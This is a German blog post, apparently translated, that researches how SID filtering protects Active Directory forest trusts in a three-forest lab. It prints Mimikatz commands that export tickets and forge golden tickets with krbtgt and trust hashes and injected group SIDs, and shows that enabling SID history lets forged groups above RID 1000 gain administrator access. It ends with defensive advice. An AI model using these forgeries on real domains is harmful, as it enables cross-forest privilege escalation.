Active Directory Forest Trusts Teil 1 – Wie funktioniert die SID-Filterung?

Dies ist der erste Beitrag einer Serie über forstübergreifende Active Directory Trusts. Es wird erklärt, was genau Forest-Trusts sind und wie sie mit SID-Filterung geschützt werden. Wenn Sie mit Active Directory-Trusts noch nicht vertraut sind, empfehle ich Ihnen, zunächst harmj0ys ausführliche Anleitung dazu zu lesen. Nach der Lektüre seines (exzellenten) Beitrags hatte ich viele Fragen dazu, wie das Ganze unter der Haube funktioniert und wie sich Trusts innerhalb desselben AD-Forests mit Trusts zwischen verschiedenen Forests vergleichen lassen. Diese Blogserie ist sowohl meine Reise als auch meine Dokumentation darüber, wie ich dieses Thema recherchiert habe und wie ich es jetzt verstehe. Machen Sie sich bereit für ein tiefes Eintauchen in Trusts, Kerberos, Goldene Tickets, Mimikatz und Impacket!

In diesem Beitrag geht es um Trusts zwischen verschiedenen Forests. Ein Forest ist eine Sammlung von einer oder mehreren Domänen, die Teil eines oder mehrerer Domänenbäume sind. In Organisationen mit nur einer Domäne bildet diese Domäne auch den gesamten Forest. In der Microsoft-Dokumentation werden Trusts oft entweder als Interforest-Trusts (Trusts zwischen zwei verschiedenen Forests) oder Intraforest-Trusts (Trusts zwischen Domänen im selben Forest) bezeichnet. Da mich diese Begriffe immer verwirren, bezeichne ich sie in diesem Beitrag entweder als Trusts innerhalb des Forests oder als Trusts zwischen Forests (oder forstübergreifend). Es ist auch wichtig zu wissen, dass wir zwar über Trusts zwischen zwei Forests sprechen, Trusts aber immer zwischen Domains definiert werden. Forest-Trusts können nur zwischen zwei Root-Domänen verschiedener Forests erstellt werden, so dass jede Erwähnung eines Forest-Trusts in diesem Beitrag den Trust zwischen zwei verschiedenen Root-Domänen meint.

Innerhalb eines einzelnen Forests vertrauen alle Domänen einander, und man kann von einer kompromittierten Domäne auf alle anderen übergreifen, wie in Sean Metcalfs Forschung über Domänen-Trusts erläutert. Um es noch einmal zu wiederholen: Eine Active Directory-Domäne ist keine Sicherheitsgrenze, sondern ein Active Directory-Wald.

Wir werden auch über Sicherheitskennungen (SIDs) sprechen. Eine SID ist etwas, das einen Sicherheitsprinzipal, wie einen Benutzer, eine Gruppe oder eine Domäne, eindeutig identifiziert. Eine der Domänen in den Testforests hat SID S-1-5-21-3286968501-24975625-1618430583. Die bekannte Gruppe der Domänenadministratoren mit der ID 512 hat eine SID, die sich aus der Domänen-SID und der ID (in der AD-Terminologie als RID bezeichnet) zusammensetzt, wodurch sie in dieser Domäne die SID S-1-5-21-3286968501-24975625-1618430583-512 erhält.

Das Setup

Das Setup enthält 3 Active Directory Forests: A, B und C. Sowohl Forest A als auch Forest C haben ein zweiseitiges transitives Forest-Trust mit Forest B (was das genau bedeutet, werden wir später erfahren). Forest A und Forest C haben keinen Trust untereinander. Wald A ist der einzige Wald mit zwei Domänen: forest-a.local und sub.forest-a.local. Da diese Domänen beide innerhalb von Forest A liegen, haben sie ein zweiseitiges Parent-Child-Vertrauen miteinander. Das Setup ist auf dem folgenden Bild zu sehen:

Forests Setup

Die forest-a und forest-b Domains haben jeweils einen Domain Controller und einen Member Server (nicht auf dem Bild zu sehen), die anderen Domains bestehen nur aus einem einzelnen Domain Controller. Diese ganze Einrichtung läuft in Azure und wird über Terraform verwaltet, das die virtuellen Maschinen, Netzwerke, DNS und die Einrichtung des Forests verwaltet, während die Trusts anschließend manuell eingerichtet wurden.

Von A nach B, was ist in einem PAC?

Angenommen, wir befinden uns in Forest A und wollen auf Ressourcen in Forest B zugreifen. Wir haben unser Kerberos Ticket Granting Ticket (TGT), das in der Root-Domain von Forest A gültig ist, in der wir uns gerade befinden (praktischerweise forest-a genannt). Wenn wir auf Ressourcen außerhalb unserer aktuellen Domäne zugreifen wollen (entweder innerhalb derselben oder einer anderen Gesamtstruktur), benötigt Windows ein Dienstticket für diese Ressource, in diesem Beispiel forest-b-server.forest-b.local. Unser TGT für forest-a ist in forest-b natürlich nutzlos, da es mit dem Hash des krbtgt-Kontos in forest-a verschlüsselt ist, das forest-b nicht hat. In Kerberos-Begriffen ausgedrückt, authentifizieren wir uns in einem anderen Bereich. Unser Client fordert also im Hintergrund ein Service-Ticket für die Ressource, auf die wir in forest-b zugreifen wollen, beim Domain Controller (DC) für forest-a an. Der DC (in Kerberos-Begriffen ein Key Distribution Center, oder KDC) hat lokal keine Ressource mit dem Suffix forest-b.local, sondern sucht nach allen Trusts mit Forests, die dieses Suffix haben.

Da ein wechselseitiger Trust zwischen Forest A und Forest B besteht, kann der DC von forest-a uns ein Verweisticket (TGT) nach forest-b ausstellen. Dieses Ticket ist mit dem Kerberos-Interrealm-Vertrauensschlüssel signiert und enthält die Gruppen, in denen wir in forest-a Mitglied sind. Forest B wird dieses Ticket akzeptieren und uns ein Service-Ticket für forest-b-server ausstellen, das wir zur Authentifizierung verwenden können. Nachfolgend eine schematische Übersicht:

Interrealm-Kerberos

Wenn wir uns auf unserer Workstation in Forest A mit dem Server in Forest B verbinden, können wir die Tickets mit dem Befehl klist sehen:

Beteiligte Tickets

Das zweite Ticket von oben ist unser erstes TGT, mit dem wir das TGT für forest-b anfordern können. Wie Sie sehen, enthält dieses TGT für forest-b (oben) den krbtgt Principal für forest-b im Serverfeld. Dies ist das Konto in Forest A, das mit dem Trust verbunden ist (dieses Konto heißt forest-b$ und befindet sich im Users-Teil des Verzeichnisses). Der verschlüsselte Teil des Kontos ist mit dem Inter-Realm-Trust-Schlüssel verschlüsselt, den diese Domänen gemeinsam nutzen.

Das dritte Ticket von oben ist das Ticket, das wir in Forest B verwenden können, um den dortigen Server zu kontaktieren. Wie Sie im Feld Server sehen können, wurde dieses Ticket im Kerberos-Realm FOREST-B.LOCAL ausgestellt und ist dort gültig.

Nun wollen wir uns ansehen, was in diesem Ticket steht. Jedes von Windows angeforderte Kerberos-TGT enthält ein Privilege-Attribut-Zertifikat (PAC). Das Format ist in MS-PAC auf MSDN beschrieben. Dieses PAC enthält unter anderem die SIDs der Gruppen, in denen wir Mitglied sind. Um zu sehen, was tatsächlich im PAC steht, müssen wir zunächst die Tickets aus dem Speicher holen. Dazu verwenden wir Mimikatz, mit dem wir alle Kerberos-Tickets mit dem Befehl sekurlsa::tickets /export auf die Festplatte auslagern können. Mimikatz enthält zwar einen Code zum Debuggen von Kerberos, aber ich konnte nicht herausfinden, wie er funktioniert, und da ich nicht in C schreiben kann, kam es für mich sowieso nicht in Frage, etwas zu ändern. Glücklicherweise unterstützt meine Lieblings-Python-Bibliothek impacket alle Arten von Kerberos-Kram. Impacket nimmt die Kerberos-Tickets im ccache-Format entgegen, was nicht das Format ist, das Mimikatz exportiert, aber wir können diese mit kekeo leicht konvertieren. Wir müssen nur den misc::convert ccache ourticket.kirbi-Befehl ausführen und Kekeo speichert es als .ccache-Datei, die wir mit Impacket lesen können.

Für die Entschlüsselung des PAC habe ich einige Dienstprogramme geschrieben, die auf Impacket-Beispielen basieren und die ich als Teil dieser Forschung veröffentliche. Um die verschlüsselten Teile der Kerberos-Tickets zu entschlüsseln, benötigen wir natürlich die Verschlüsselungsschlüssel, also habe ich diese für alle Domänen mit secretsdump.py und seiner dcsync-Implementierung extrahiert. Für das erste TGT müssen wir den Hash krbtgt in die Datei einfügen. Anhand des obigen Screenshots können Sie sehen, dass wir den aes256-cts-hmac-sha1-96-Schlüssel benötigen, der von secretsdump.

Das getcfST.py-Tool wird verwendet, um ein Service-Ticket in einem anderen Forest anzufordern, das auf einem TGT in der .ccache-Datei basiert (Sie können die zu verwendende Datei mit export KRB5CCNAME=myticket.ccaches angeben). Damit wird das gesamte PAC entschlüsselt und ausgegeben. Die Ausgabe ist hier für Interessierte zu sehen. Ich habe einige Codezeilen hinzugefügt, die uns die wichtigen Teile in einem besser lesbaren Format ausgeben:

Username: superuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 520 (attributes: 7) -> 512 (attributes: 7) -> 519 (attributes: 7) -> 518 (attributes: 7)LogonServer: forest-a-dcLogonDomainName: forest-aExtra SIDS: -> S-1-18-1

Dies ist ein hübscher Standard-PAC. Wir sehen, dass wir Mitglied mehrerer Gruppen sind, und da dies das Administratorkonto (ID 500, obwohl es einen anderen Namen hat) von Forest A ist, mit dem wir gerade testen, ist es Mitglied mehrerer Standard-Administratorgruppen, wie Domain Admins (512) und Enterprise Admins (519). Wir haben auch die Extra SID S-1-18-1, die anzeigt, dass wir uns auf der Grundlage des Nachweises des Besitzes von Anmeldeinformationen authentifizieren.

Um das zweite TGT zu entschlüsseln, müssen wir den Schlüssel des krbtgt-Kontos in den des forest-b$-Kontos ändern, der der Vertrauensschlüssel zwischen den Realen ist. In diesem Fall wird das PAC mit RC4 verschlüsselt, das den NT-Hash als Eingabe verwendet (ja, den, den Sie für die Weitergabe des Hashes verwenden). Dies ist die Standardeinstellung, es sei denn, das Kästchen „Die andere Domäne unterstützt Kerberos AES Encryption“ ist aktiviert. Wie im Rohdump zu sehen ist, hat sich die PAC nicht geändert, was die Annahme stützt, dass der DC die PAC als Teil des Tickets mit dem Inter-Realm-Trust-Schlüssel für Forest B neu verschlüsselt.

Die TGS ist eine etwas andere Geschichte. Abgesehen davon, dass einige Änderungen im getcfST.py-Beispiel erforderlich sind und der AES-256-Schlüssel des forest-b-server-Computerkontos angegeben werden muss, um es zu entschlüsseln, können wir sehen, dass dem PAC weitere Informationen hinzugefügt wurden (Rohdump hier):

Username: superuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 520 (attributes: 7) -> 512 (attributes: 7) -> 519 (attributes: 7) -> 518 (attributes: 7)LogonServer: forest-a-dcLogonDomainName: forest-aExtra SIDS: -> S-1-18-1Extra domain groups found! Domain SID:S-1-5-21-2897307217-3322366030-3810619207Relative groups: -> 1107 (attributes: 536870919)

Wir sehen, dass ein neuer Abschnitt hinzugefügt wurde, der die Domänen-SID der forest-b-Domäne und eine Gruppe enthält, in der unser Konto in Wald B Mitglied ist. Diese SIDs sind Teil der ResourceGroup-Strukturen des PAC und dienen der Speicherung von Mitgliedschaften in allen lokalen Domänengruppen in der forest-b-Domäne. Wie in diesem Beitrag von harmj0y erläutert, sind domänenlokale Gruppen die einzigen Gruppen, die Sicherheitsprinzipale aus anderen Forests enthalten können. In der forest-b-Domäne ist unser superuser-Benutzer aus Forest A Mitglied der Gruppe Testgroup2, die Sie unten sehen können.

Beteiligte Tickets

Da sich dies in unserem PAC widerspiegelt, das die Server, bei denen wir uns mit unserem Kerberos-Service-Ticket authentifizieren, für die Autorisierung verwenden, gelten alle Testgroup2 zugewiesenen Berechtigungen für das Superuser-Konto aus dem anderen Forest. So funktioniert die Authentifizierung und Autorisierung über Trusts hinweg.

Goldene Tickets und SID-Filterung

Vor einigen Jahren haben Sean Metcalf und Benjamin Delphy gemeinsam daran gearbeitet, Mimikatz die Unterstützung für die SID-Historie hinzuzufügen, die es ermöglicht, von einer Active Directory-Domäne zu einer anderen innerhalb desselben Forests zu wechseln. Das Verfahren hierfür ist hier beschrieben. Wie lässt sich dies auf Trusts mit einem anderen Forest übertragen? Lassen Sie uns ein goldenes Ticket mit ein paar interessanten SIDs erstellen, um zu sehen, wie sie beim Überschreiten der Forest-Grenze verarbeitet werden. Wir verwenden den folgenden Mimikatz-Befehl, um ein goldenes Ticket in unserem aktuellen Forest zu erstellen:

kerberos::golden /domain:forest-a.local /sid:S-1-5-21-3286968501-24975625-1618430583 /rc4:2acc1a3824a47c4fcb21ef7440042e85 /user:Superuser /target:forest-a.local /service:krbtgt /sids:S-1-5-21-3286968501-24975625-1618430583-1604,S-1-5-21-3286968501-24975625-1111111111-1605,S-1-18-1,S-1-5-21-2897307217-3322366030-3810619207-1106 /ptt

Lassen Sie uns diesen Befehl aufschlüsseln. Wir erstellen ein goldenes Ticket in forest-a, signiert mit dem krbtgt-Hash von forest-a. Als zusätzliche SIDs fügen wir ein paar interessante SIDs hinzu:

  • S-1-5-21-3286968501-24975625-1618430583-1604, die SID einer Gruppe, in der wir eigentlich nicht Mitglied sind
  • S-1-5-21-3286968501-24975625-1111111111-1605, die SID einer Domäne, die eigentlich nicht existiert
  • S-1-18-1, die SID, die Windows hinzufügt, um anzuzeigen, dass wir uns mit dem Nachweis des Besitzes von Credentals authentifiziert haben
  • S-1-5-21-2897307217-3322366030-3810619207-1106, eine Gruppe in forest-b

Erstellung eines goldenen Tickets mit Mimikatz

Das /ptt-Flag injiziert das Ticket in den Speicher, und beim Durchsuchen von \forest-b-server.forest-b.local sehen wir keine Fehlermeldung, was bedeutet, dass das Ticket erfolgreich für den Zugriff auf eine Ressource in forest-b verwendet wurde. Wir exportieren die Tickets wie zuvor und entschlüsseln sie auf die gleiche Weise wie im vorherigen Abschnitt.

Das TGT für forest-a enthält die erwarteten SIDs:

Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-2897307217-3322366030-3810619207-1106

Das TGT, das wir für forest-b vom Domain Controller von forest-a erhalten haben und das mit dem Inter-Realm-Trust-Schlüssel signiert ist, enthält genau dieselben Informationen:

Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-2897307217-3322366030-3810619207-1106

Das deutet wiederum darauf hin, dass der DC die PAC nicht validiert, sondern sie einfach mit dem Inter-Realm-Schlüssel für forest-b neu signiert, obwohl sie eine Gruppe enthält, in der wir eigentlich nicht Mitglied sind.

Wenn wir dieses TGT dem DC in forest-b vorlegen, erhalten wir unser Service-Ticket zurück, das die folgende PAC enthält:

Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-18-1Extra domain groups found! Domain SID:S-1-5-21-2897307217-3322366030-3810619207Relative groups: -> 1107 (attributes: 536870919)

Was ist hier passiert? Wir sehen, dass wieder unsere Mitgliedschaften in der Domäne forest-b zum PAC hinzugefügt wurden, aber dass einige SIDs herausgefiltert wurden. Hier kommt der Sicherheitsmechanismus der SID-Filterung ins Spiel, der alle SIDs herausfiltert, die nicht zu forest-a gehören. Die Regeln für die SID-Filterung sind auf MSDN beschrieben. Interessante Regeln sind hier die mit dem Eintrag ForestSpecific. Diese SIDs sind nur von einem PAC innerhalb des Forests erlaubt. Da unser PAC von außerhalb des Forests kommt, werden diese SIDs immer von unserem PAC gefiltert. Die 3 Regeln nach den ForestSpecific-Regeln stellen sicher, dass alle SIDs, die nicht aus dem Forest A stammen, herausgefiltert werden. Dies beinhaltet sowohl die nicht existierende SID, die wir angegeben haben, als auch jede nicht ForestSpecific SID, die in Forest B existiert.

Es erlaubt uns immer noch, vorzugeben, ein beliebiger Benutzer in Forest A zu sein, wenn also Benutzern aus Forest A besondere Privilegien in Forest B gegeben wurden (was wahrscheinlich der Grund ist, warum das ganze Vertrauen überhaupt erst eingerichtet wurde), sind diese nun gefährdet.

Lockerung der SID-Filterung

Was mir schon früh bei meinen Recherchen aufgefallen ist, ist eine Option für Trusts, die nur über das netdomTool verfügbar ist und nicht in der grafischen Oberfläche angezeigt wird. Auf einer der Seiten der Microsoft-Dokumentation wird beschrieben, wie man den SID-Verlauf für forstübergreifende Trusts zulässt. Was bedeutet das? Aktivieren wir den SID-Verlauf für den Trust von Forest B nach A (was sich auf Benutzer auswirkt, die sich von A in B authentifizieren):

C:\Users\superuser>netdom trust /d:forest-a.local forest-b.local /enablesidhistory:yesEnabling SID history for this trust.The command completed successfully.

Was hat sich also geändert? Schauen wir uns an, wie sich dies auf das TrustAttributes-Flag des Trusted Domain Object auswirkt. Unten sehen Sie die Ausgabe der domain_trusts.html-Datei von ldapdomaindump, die gegen Forest B ausgeführt wurde, ein Tool, das ich vor einiger Zeit geschrieben habe, um AD-Informationen zu sammeln.

trust flags for forest-b

Unser Trust mit Forest A hat jetzt das TREAT_AS_EXTERNAL-Flag. In der entsprechenden Microsoft-Dokumentation steht folgendes:

Wenn dieses Bit gesetzt ist, dann ist eine forstübergreifende Vertrauensstellung zu einer Domäne für die Zwecke der SID-Filterung als externe Vertrauensstellung zu behandeln. Cross-Forest-Trusts werden strenger gefiltert als externe Trusts. Dieses Attribut lockert diese Cross-Forest-Trusts, so dass sie mit externen Trusts gleichgestellt werden. Für weitere Informationen darüber, wie jeder Trust-Typ gefiltert wird, siehe Abschnitt 4.1.2.2.

Dies verweist zurück auf den Abschnitt, der die SID-Filterung beschreibt. Schauen wir uns an, was passiert, wenn wir denselben TGT gegen den DC forest-b anbieten:

Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-2897307217-3322366030-3810619207-1106Extra domain groups found! Domain SID:S-1-5-21-2897307217-3322366030-3810619207Relative groups: -> 1107 (attributes: 536870919)

Unser Service-Ticket vom DC forest-b enthält jetzt alle SIDs, die wir in unser früheres Mimikatz-Ticket eingegeben haben! Das bedeutet, dass wir jede SID, die in unserem PAC nicht als ForestSpecific gefiltert ist, angeben können und dass sie vom DC des Forests B akzeptiert wird.

Lassen Sie uns ein neues goldenes Ticket mit ein paar weiteren SIDs erstellen, um diese Hypothese zu testen:

kerberos::golden /domain:forest-a.local /sid:S-1-5-21-3286968501-24975625-1618430583 /rc4:b8e9b4b3feb56c7ba1575bf7fa3dc76f /user:Superuser /target:forest-b.local /service:krbtgt /sids:S-1-5-21-3286968501-24975625-1618430583-1604,S-1-5-21-3286968501-24975625-1111111111-1605,S-1-18-1,S-1-5-21-2897307217-3322366030-3810619207-1106,S-1-5-21-2897307217-3322366030-3810619207-512,S-1-5-21-2897307217-3322366030-3810619207-519,S-1-5-21-2897307217-3322366030-3810619207-548,S-1-5-21-2897307217-3322366030-3810619207-3101

Die hier enthaltenen neuen SIDs:

  • S-1-5-21-2897307217-3322366030-3810619207-512: Domain Admins, sollte durch explizite ForestSpecific Regel gefiltert werden
  • S-1-5-21-2897307217-3322366030-3810619207-519: Enterprise Admins, sollte durch die explizite ForestSpecific-Regel
  • S-1-5-21-2897307217-3322366030-3810619207-548 gefiltert werden: Account Operators, sollte durch die ForestSpecific-Regel gefiltert werden, die SIDs zwischen 500 und 1000 verbietet.
  • S-1-5-21-2897307217-3322366030-3810619207-3101: Ist eine Gruppe, die Mitglied von Domain Admins ist, sollte nicht gefiltert werden.

Wie Sie vielleicht bemerkt haben, ist der obige Text tatsächlich mit dem Inter-Realm-Trust-Schlüssel signiert, so dass wir hier direkt den TGT erstellen, der für Forest B gültig ist, um den Schritt zu überspringen, ihn zuerst dem Forest A DC anzubieten.

Nun erhalten wir im PAC unseres Service-Tickets folgendes zurück:

Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-2897307217-3322366030-3810619207-1106 -> S-1-5-21-2897307217-3322366030-3810619207-3101Extra domain groups found! Domain SID:S-1-5-21-2897307217-3322366030-3810619207Relative groups: -> 1107 (attributes: 536870919)

Ein paar Dinge sind zu beachten:

  • Die Gruppen DA/EA/Account Operators werden tatsächlich durch die SID-Filterung entfernt
  • Die Gruppe Domain Admins wird nicht zum ResourceGroup-Teil des PAC hinzugefügt, obwohl die Gruppe 3101 ein direktes Mitglied dieser Gruppe ist. Das liegt daran, dass die Gruppe „Domain Admins“ eine globale Gruppe ist, während im PAC nur lokale Gruppen der Domäne hinzugefügt werden.

Für einen Angreifer bedeutet dies, dass er jede RID >1000-Gruppe fälschen kann, wenn der SID-Verlauf in einem Forest-Trust aktiviert ist! In den meisten Umgebungen wird dies einem Angreifer ermöglichen, den Forest zu kompromittieren. Zum Beispiel haben die Exchange-Sicherheitsgruppen, die in vielen Konfigurationen eine Eskalation der Rechte auf DA ermöglichen, alle RIDs größer als 1000. Außerdem haben viele Organisationen benutzerdefinierte Gruppen für Workstation-Administratoren oder Helpdesks, die lokale Administratorrechte auf Workstations oder Servern erhalten. Ich habe zum Beispiel gerade der Gruppe IT-Admins (mit RID 3101, die Teil unseres goldenen Tickets ist) Administratorrechte auf dem Rechner forest-b-server gegeben. Nachdem wir unser TGT gegen ein Service-Ticket ausgetauscht haben, können wir uns mit diesem Ticket auf dem Rechner authentifizieren:

Administrator-Zugriff über gefälschte Mitgliedschaft

Schlussfolgerungen

Forest-übergreifende Trusts werden standardmäßig streng gefiltert und lassen keine SIDs von außerhalb dieses Forests über den Trust laufen. Ein Angreifer, der einen vertrauenswürdigen Forest kompromittiert, kann sich jedoch als ein beliebiger Benutzer dieses Forests ausgeben und so Zugriff auf Ressourcen erhalten, die explizit für Benutzer/Gruppen in diesem Forest gewährt wurden.

Wenn der SID-Verlauf für eine forstübergreifende Vertrauensstellung aktiviert ist, wird die Sicherheit erheblich geschwächt, und Angreifer können sich als Gruppenmitglied einer beliebigen Gruppe mit einer RID größer als 1000 ausgeben, was in den meisten Fällen zu einer Kompromittierung des Forests führen kann.Wenn Sie IT-Administrator sind, sollten Sie sorgfältig abwägen, welchen Benutzern in verschiedenen Forests Sie Zugriff auf Ihren Forest gewähren, denn jeder Benutzer, dem Zugriff gewährt wird, schwächt die Sicherheitsgrenze zwischen den Forests. Ich würde nicht empfehlen, einen SID-Verlauf zwischen den Forests zuzulassen, es sei denn, es ist absolut notwendig.

Im nächsten Teil (oder in den nächsten Teilen, wer weiß) werden wir uns damit beschäftigen, wie Trust Transitivity funktioniert und andere Arten von Trusts mit Domains außerhalb des Forests diskutieren. Das bedeutet, dass wir auch anfangen werden, mit Forest C und sub.forest-a zu spielen.

Die Tools

Die in diesem Beitrag verwendeten Tools sind als Proof-of-Concept auf meinem GitHub verfügbar. Diese Tools müssen manuell modifiziert werden, um nutzbar zu sein, und werden nur AS-IS für Leute zur Verfügung gestellt, die diese Forschung reproduzieren oder weiter vertiefen wollen.

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht.